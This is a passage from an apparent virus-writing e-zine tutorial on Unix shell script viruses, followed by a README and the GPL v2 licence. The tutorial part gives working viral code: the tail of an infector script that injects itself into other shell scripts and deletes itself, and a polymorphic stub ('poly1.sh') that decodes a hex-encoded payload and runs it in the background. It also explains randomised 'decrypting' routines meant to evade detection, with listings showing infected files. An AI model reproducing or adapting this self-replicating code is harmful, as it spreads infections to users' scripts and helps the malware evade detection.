$RANDOM$VIRUS" } > $F 2>/dev/null fi done rm $0 2>/dev/null ------------------------end of tmp.sh--------------------------------- Even I write "tmp.sh" as the script's name, its real name is "-", to avoid repeating another script's name and also to make more difficult its visibility, as explained in the 3.3.2 chapter. What we first try to do is to infect the whole directory. For this we check if the file attacked is a shell script, by using "head", but we keep from trying it with our own shell script, because "-" is interpreted by "head" as the standard input (stdin) and waits for input. So we introduce a check by using an "OR list" and then we will only use the "head" when the file is not "-". After, we save the whole "host" file in an environment variable. In that way we keep from saving the "host" file into a temporary file where to attach the viric code. The rest of the code is concatenated into the environment variable, and the result of all this stuff is redirected to the final file, by using a command block ("{}", look for chapter 2.2.1->Command blocks). In that block we'll do the following: - copy the header of our own script, so we have a blank line which is our infection mark, and the usual header of a script. - copy the command for deleting the temporary file, if any. - then we use the environment variable $RANDOM to get a random number and for not getting a fixed code for "decrypting" our virus. Here we can do many "decrypting" routines, equal but with different sintax, to make it more difficult to detect. - after, we copy the call to the temporary file in background, and then, the "host" file's code, but without header (we remove the header '#!/bin/sh' so there are not 2 headers in the same file). - at last, we take the "cyphered" code and introduce random numbers in it, so the string is not always the same. When we have the final string finished, we copy it into the final "host". And with all this we have our infection completed. As we can see, as well as the "cyphered" part, the "decrypted" part vary from infection to infection, even though, the "decrypting" routine can be made more polymorphic; actually, we only have 2 possible routines O:-) This way, this is how the polymorphic virus should look like: ---------------------------poly1.sh----------------------------------- #!/bin/sh rm ./- 2>/dev/null for C in $(tail -2 $0); do [ ${#C} -eq 4 ] && printf "\x$(expr substr $C 3 2)\x$(expr substr $C 1 2)">>-; done sh ./- $0 & # virus code goes here hexdumped ------------------------end of poly1.sh------------------------------- The last line of the code is a commented line which contains the whole code in hexadecimal base, so this is the most extended part of the virus. Now let's see how it looks like before and after an infection: ---------------------------------------------------------------------- drwxr-sr-x 2 zert users 4096 Aug 5 21:58 . drwxr-sr-x 3 zert users 4096 Aug 4 20:42 .. -rwxr-xr-x 1 zert users 21 Aug 5 22:22 dummy1 -rwxr-xr-x 1 zert users 21 Aug 5 22:22 dummy2 -rwxr-xr-x 1 zert users 21 Aug 5 22:22 dummy3 -rwxr-xr-x 1 zert users 21 Aug 5 22:22 dummy4 -rwxr-xr-x 1 zert users 21 Aug 5 22:22 dummy5 -rwxr-xr-x 1 zert users 2628 Aug 5 21:58 poly1.sh ---------------------------------------------------------------------- What we can see here is the tests directory without having infected any "host" file ("dummy" files). "poly1.sh" is our virus' first generation. ---------------------------------------------------------------------- drwxr-sr-x 2 zert users 4096 Aug 5 22:23 . drwxr-sr-x 3 zert users 4096 Aug 4 20:42 .. -rwxr-xr-x 1 zert users 6552 Aug 5 22:23 dummy1 -rwxr-xr-x 1 zert users 6527 Aug 5 22:23 dummy2 -rwxr-xr-x 1 zert users 6564 Aug 5 22:23 dummy3 -rwxr-xr-x 1 zert users 6589 Aug 5 22:23 dummy4 -rwxr-xr-x 1 zert users 6538 Aug 5 22:23 dummy5 -rwxr-xr-x 1 zert users 2628 Aug 5 21:58 poly1.sh ---------------------------------------------------------------------- The same directory after "poly1.sh" was executed. As we can see, the size of every file is different, even they started with the same size. Another important point is that the first generation of the virus ("poly1.sh" before infecting) has a smaller size than the second generation virus, which has a size near 6500 bytes :-) We can make it much more difficult by using "factor" to get the prime factors of a number. That number could be the ASCII code of the virus or each line or a reversible calculus between them. With "factor" we cypher owr code and with a multiplication between the gotten factors (expr OP1 * OP2) we "decypher" the code. Writing an example for this is a proposed exercise for the reader O;-P 4.- Conclusions -=-=-=-=-=-=-=-= 4.1.- The future of the shell scripts -------------------------------------- As we could have seen through this little tutorial, there are many posibilities to let us play with shell script viruses. I say play because I do not think these can be considered potential viruses due to their time excess, size in "host" and the common property of the shell scripts, which is being human readable (ASCII text human readable). We talked before about the "home UNIX environments socialization", with the arrival of the BSDs and the different Linux distributions. All this makes a new place for this kind of viruses, sheltered by the new ignorant users. The power increment in new processors and the great storing capability that storing devices offer us are helping this kind of viruses, which will diminish the execution delays and will hide the increment in the "host's" size. So the conclusion to all this is that shell script viruses are not a real threat for the UNIX systems, but they may have a raising space between them. 4.2.- Thanks ------------- Now, to finish, I would like to thank Virusbuster the oportunity of writing in the best e-zine of the viruscene known worldwide, I am really glad about it ;-) Thanks haLLs for helping me translating this to english O:-) and giving new ideas, zgor for his comments about permissions in shell scripts, as well as all the int80h group for their support and for their wants of working in this. Thanks Snakebyte and Gobleen Warrior for motivating me to write this little tutorial with their excellent texts. To all the GNU community that works day to day for a better software, open and free: you are awesome ;-) 5.- References -=-=-=-=-=-=-=- * http://www.linuxdoc.org/LDP/abs/html "Advanced Bash-Scripting Guide: A complete guide to shell scripting, using bash", Mendel Cooper. * http://www.coderz.net/29a "Linux Shell Script Viren", SnakeByte. "UNIX SH and BASH shell viruses", Gobleen Warrior//SMF 1901. ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[SHELL_ZERT.TXT]ÄÄÄ ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[README]ÄÄÄ Description & Disclaimer ======================== This is an easy Shell Script Viruses related tutorial, with example code and full explanations. The software is provided AS IS, NO WARRANTY is included, so NOT TO EXECUTE example code is recomended for novice users. Licensing ========= This software is available for use under the GNU General Public License. (see COPYING file for details). Feedback ======== You can send feedback to zert@int80h.net, asking for explanations or to correct eventual bugs O;-) Author ====== zert/int80h zert@int80h.net www.int80h.net ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[README]ÄÄÄ ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[COPYING]ÄÄÄ GNU GENERAL PUBLIC LICENSE Version 2, June 1991 Copyright (C) 1989, 1991 Free Software Foundation, Inc. 59 Temple Place, Suite 330, Boston, MA 02111-1307, USA. Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed. Preamble The licenses for most software are designed to take away your freedom to share and change it. By contrast, the GNU General Public License is intended to guarantee your freedom to share and change free software--to make sure the software is free for all its users. This General Public License applies to most of the Free Software Foundation's software and to any other program whose authors commit to using it. (Some other Free Software Foundation software is covered by the GNU Library General Public License instead.) You can apply it to your programs, too. When we speak of free software, we are referring to freedom, not price. Our General Public Licenses are designed to make sure that you have the freedom to distribute copies of free software (and charge for this service if you wish), that you receive source code or can get it if you want it, that you can change the software or use pieces of it in new free programs; and that you know you can do these things. To protect your rights, we need to make restrictions that forbid anyone to deny you these rights or to ask you to surrender the rights. These restrictions translate to certain responsibilities for you if you distribute copies of the software, or if you modify it. For example, if you distribute copies of such a program, whether gratis or for a fee, you must give the recipients all the rights that you have. You must make sure that they, too, receive or can get the source code. And you must show them these terms so they know their rights. We protect your rights with two steps: (1) copyright the software, and (2) offer you this license which gives you legal permission to copy, distribute and/or modify the software. Also, for each author's protection and ours, we want to make certain that everyone understands that there is no warranty for this free software. If the software is modified by someone else and passed on, we want its recipients to know that what they have is not the original, so that any problems introduced by others will not reflect on the original authors' reputations. Finally, any free program is threatened constantly by software patents. We wish to avoid the danger that redistributors of a free program will individually obtain patent licenses, in effect making the program proprietary. To prevent this, we have made it clear that any patent must be licensed for everyone's free use or not licensed at all. The precise terms and conditions for copying, distribution and modification follow. GNU GENERAL PUBLIC LICENSE TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION 0. This License applies to any program or other work which contains a notice placed by the copyright holder saying it may be distributed under the terms of this General Public License. The "Program", below, refers to any such program or work, and a "work based on the Program" means either the Program or any derivative work under copyright law: that is to say, a work containing the Program or a portion of it, either verbatim or with modifications and/or translated into another language. (Hereinafter, translation is included without limitation in the term "modification".) Each licensee is addressed as "you". Activities other than copying, distribution and modification are not covered by this License; they are outside its scope. The act of running the Program is not restricted, and the output from the Program is covered only if its contents constitute a work based on the Program (independent of having been made by running the Program). Whether that is true depends on what the Program does. 1. You may copy and distribute verbatim copies of the Program's source code as you receive it, in any medium, provided that you conspicuously and appropriately publish on each copy an appropriate copyright notice and disclaimer of warranty; keep intact all the notices that refer to this License and to the absence of any warranty; and give any other recipients of the Program a copy of this License along with the Program. You may charge a fee for the physical act of transferring a copy, and you may at your option offer warranty protection in exchange for a fee. 2. You may modify your copy or copies of the Program or any portion of it, thus forming a work based on the Program, and copy and distribute such modifications or work under the terms of Section 1 above, provided that you also meet all of these conditions: a) You must cause the modified files to carry prominent notices stating that you changed the files and the date of any change. b) You must cause any work that you distribute or publish, that in whole or in part contains or is derived from the Program or any part thereof, to be licensed as a whole at no charge to all third parties under the terms of this License. c) If the modified program normally reads commands interactively when run, you must cause it, when started running for such interactive use in the most ordinary way, to print or display an announcement including an appropriate copyright notice and a notice that there is no warranty (or else, saying that you provide a warranty) and that users may redistribute the program under these conditions, and telling the user how to view a copy of this License. (Exception: if the Program itself is interactive but does not normally print such an announcement, your work based on the Program is not required to print an announcement.) These requirements apply to the modified work as a whole. If identifiable sections of that work are not derived from the Program, and can be reasonably considered independent and separate works in themselves, then this License, and its terms, do not apply to those sections when you distribute them as separate works. But when you distribute the same sections as part of a whole which is a work based on the Program, the distribution of the whole must be on the terms of this License, whose permissions for other licensees extend to the entire whole, and thus to each and every part regardless of who wrote it. Thus, it is not the intent of this section to claim rights or contest your rights to work written entirely by you; rather, the intent is to exercise the right to control the distribution of derivative or collective works based on the Program. In addition, mere aggregation of another work not based on the Program with the Program (or with a work based on the Program) on a volume of a storage or distribution medium does not bring the other work under the scope of this License. 3. You may copy and distribute the Program (or a work based on it, under Section 2) in object code or executable form under the terms of Sections 1 and 2 above provided that you also do one of the following: a) Accompany it with the complete corresponding machine-readable source code, which must be distributed under the terms of Sections 1 and 2 above on a medium customarily used for software interchange; or, b) Accompany it with a written offer, valid for at least three years, to give any third party, for a charge no more than your cost of physically performing source distribution, a complete machine-readable copy of the corresponding source code, to be distributed under the terms of Sections 1 and 2 above on a medium customarily used for software interchange; or, c) Accompany it with the information you received as to the offer to distribute corresponding source code. (This alternative is allowed only for noncommercial distribution and only if you received the program in object code or executable form with such an offer, in accord with Subsection b above.) The source code for a work means the preferred form of the work for making modifications to it. For an executable work, complete source code means all the source code for all modules it contains, plus any associated interface definition files, plus the scripts used to control compilation and installation of the executable. However, as a special exception, the source code distributed need not include anything that is normally distributed (in either source or binary form) with the major components (compiler, kernel, and so on) of the operating system on which the executable runs, unless that component itself accompanies the executable. If distribution of executable or object code is made by offering access to copy from a designated place, then offering equivalent access to copy the source code from the same place counts as distribution of the source code, even though third parties are not compelled to copy the source along with the object code. 4. You may not copy, modify, sublicense, or distribute the Program except as expressly provided under this License. Any attempt otherwise to copy, modify, sublicense or distribute the Program is void, and will automatically terminate your rights under this License. However, parties who have received copies, or rights, from you under this License will not have their licenses terminated so long as such parties remain in full compliance. 5. You are not required to accept this License, since you have not signed it. However, nothing else grants you permission to modify or distribute the Program or its derivative works. These actions are prohibited by law if you do not accept this License. Therefore, by modifying or distributing the Program (or any work based on the Program), you indicate your acceptance of this License to do so, and all its terms and conditions for copying, distributing or modifying the Program or works based on it. 6. Each time you redistribute the Program (or any work based on the Program), the recipient automatically receives a license from the original licensor to copy, distribute or modify the Program subject to these terms and conditions. You may not impose any further restrictions on the recipients' exercise of the rights granted herein. You are not responsible for enforcing compliance by third parties to this License. 7. If, as a consequence of a court judgment or allegation of patent infringement or for any other reason (not limited to patent issues), conditions are imposed on you (whether by court order, agreement or otherwise) that contradict the conditions of this License, they do not excuse you from the conditions of this License. If you cannot distribute so as to satisfy simultaneously your obligations under this License and any other pertinent obligations, then as a consequence you may not distribute the Program at all. For example, if a patent license would not permit royalty-free redistribution of the Program by all those who receive copies directly or indirectly through you, then the only way you could satisfy both it and this License would be to refrain entirely from distribution of the Program. If any portion of this section is held invalid or unenforceable under any particular circumstance, the balance of the section is intended to apply and the section as a whole is intended to apply in other circumstances. It is not the purpose of this section to induce you to infringe any patents or other property right claims or to contest validity of any such claims; this section has the sole purpose of protecting the integrity of the free software distribution system, which is implemented by public license practices. Many people have made generous contributions to the wide range of software distributed through that system in reliance on consistent application of that system; it is up to the author/donor to decide if he or she is willing to distribute software through any other system and a licensee cannot impose that choice. This section is intended to make thoroughly clear what is believed to be a consequence of the rest of this License. 8. If the distribution and/or use of the Program is restricted in certain countries either by patents or by copyrighted interfaces, the original copyright holder who places the Program under this License may add an explicit geographical distribution limitation excluding those countries, so that distribution is permitted only in or among countries not thus excluded. In such case, this License incorporates the limitation as if written in the body of this License. 9. The Free Software Foundation may publish revised and/or new versions of the General Public License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. Each version is given a distinguishing version number. If the Program specifies a version number of this License which applies to it and "any later version", you have the option of following the terms and conditions either of that version or of any later version published by the Free Software Foundation. If the Program does not specify a version number of this License, you may choose any version ever published by the Free Software Foundation. 10. If you wish to incorporate parts of the Program into other free programs whose distribution conditions are different, write to the author to ask for permission. For software which is copyrighted by the Free Software Foundation, write to the Free Software Foundation; we sometimes make exceptions for this. Our decision will be guided by the two goals of preserving the free status of all derivatives of our free software and of promoting the sharing and reuse of software generally. NO WARRANTY 11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES. END OF TERMS AND CONDITIONS Appendix: How to Apply These Terms to Your New Programs If you develop a new program, and you want it to be of the greatest possible use to the public, the best way to achieve this is to make it free software which everyone can redistribute and change under these terms. To do so, attach the following notices to the program. It is safest to attach them to the start of each source file to most effectively convey the exclusion of warranty; and each file should have at least the "copyright" line and a pointer to where the full notice is found. Copyright (C) 19yy This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. Also add information on how to contact you by electronic and paper mail. If the program is interactive, make it output a short notice like this when it starts in an interactive mode: Gnomovision version 69, Copyright (C) 19yy name of author Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'. This is free software, and you are welcome to redistribute it under certain conditions; type `show c' for details. The hypothetical commands `show w' and `show c' should show the appropriate parts of the General Public License. Of course, the commands you use may be called something other than `show w' and `show c'; they could even be mouse-clicks or menu items--whatever suits your program. You should also get your employer (if you work as a programmer) or your school, if any, to sign a "copyright disclaimer" for the program, if necessary. Here is a sample; alter the names: Yoyodyne, Inc., hereby disclaims all copyright interest in the program `Gnomovision' (which makes passes at compilers) written by James Hacker. , 1 April 1989 Ty Coon, President of Vice This General Public License does not permit incorporating your program into proprietary programs. If your program is a subroutine library, you may consider it more useful to permit linking proprietary applications with the library. If this is what you want to do, use the GNU Library General Public License instead of this License. ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[COPYING]ÄÄÄ